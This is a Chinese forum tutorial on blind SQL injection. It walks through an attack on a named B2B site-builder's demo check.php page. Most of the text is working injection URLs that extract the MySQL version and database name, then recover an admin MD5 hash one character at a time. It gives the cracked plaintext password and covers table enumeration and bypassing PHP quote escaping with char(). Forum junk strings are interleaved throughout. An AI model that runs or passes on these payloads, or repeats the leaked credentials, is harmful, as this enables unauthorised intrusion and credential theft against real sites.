|
本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。& g0 [+ p/ p& R4 z% D( R1 Q9 P4 ?
阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲$ b5 Y& ], K5 c& M
作者:YoCo Smart) Z% T# A" v7 m- A6 f; A9 x
来自:习科信息技术 - http://BlackBap.Org' n( k* `! h5 B5 G
我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1, c6 l0 L9 _- I; W7 y M+ l
+ Z) W( F9 ~5 K+ t# G/ Z5 z
复制代码
6 a) s$ ~* Y# X! W- t错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }! q; k- E7 A* w5 ?# [/ J" k! s4 j8 i
% l9 P. {7 c+ t9 z( _9 \" R1 X复制代码 U7 {, M9 \8 b$ ]+ ]
以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合6 }. P7 z. t% t* s8 W' X% q0 w6 _
那么我们先从union的盲注来看吧。" h0 ?7 r m! s) ?5 Q Z% }2 U
先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23
9 X& D3 F, x0 x# ]( j, W # O+ I" [- v N2 M+ e
复制代码% g2 K- V4 B, m3 c
这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
3 m/ r, S* V( d% q
; b7 I# Q) K% U# M复制代码
& @) ?) P$ f. V9 P& Z1 K, i) [) ~/ ?因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
/ Y! a2 F2 ^( C, r/ F! `* X- e再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny) a3 f& |1 e/ a
5 K2 A3 R! h1 V' L5 y. p复制代码
8 c: W. r( \+ y8 D! @$ D. n& q% W3 ?length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
5 H! r5 W; ~, S0 R& ^! o, E这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。
5 m8 J8 \( L6 r+ }再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#', x( `, j. l6 p# P- f" P0 T
4 A2 W3 c5 p! S1 O3 v2 ?0 ^) I
复制代码
: T' m2 G9 \9 [( Y9 o6 Y2 w这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
) {' r. |; Z$ _: |这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句
6 U8 y9 n `' Z" C那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly
# ], \9 X* E% O" o# d
" o" A: J/ d4 r, M6 p5 k复制代码& g: ~# ~: p0 [
这样,猜数据的方法你肯定是懂了
8 \, x$ E& C0 l, B
}) j# y# x( W0 [
* N& B& Q( I: Y. i- K最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23( ~/ X( f* d$ d7 l
2 I* ]5 T9 @. K R# h+ ~复制代码) C0 U8 B* n9 s9 S4 `. }* k1 C3 v( |8 _
实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'/ t5 g3 E+ G }: l+ a7 y& @* }3 |
3 b7 N8 Y/ U$ ^1 f复制代码$ c) `0 d n4 k1 G: }- ^% m6 |9 d
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
, [( D! Y# x) M$ T关于limit x,y 的用法,可以参考MySQL手册0 w8 I8 q. ^- o
. h* }7 u. w: y$ o$ ?0 O最后剩下的要说的就是ascii函数和hex函数了5 e; t' y) P+ w! {$ y2 A
这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)## [* _& {! G6 O
: Z0 i" C/ d d' p* x复制代码
# K8 n, l* g9 e* Lsubstr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
|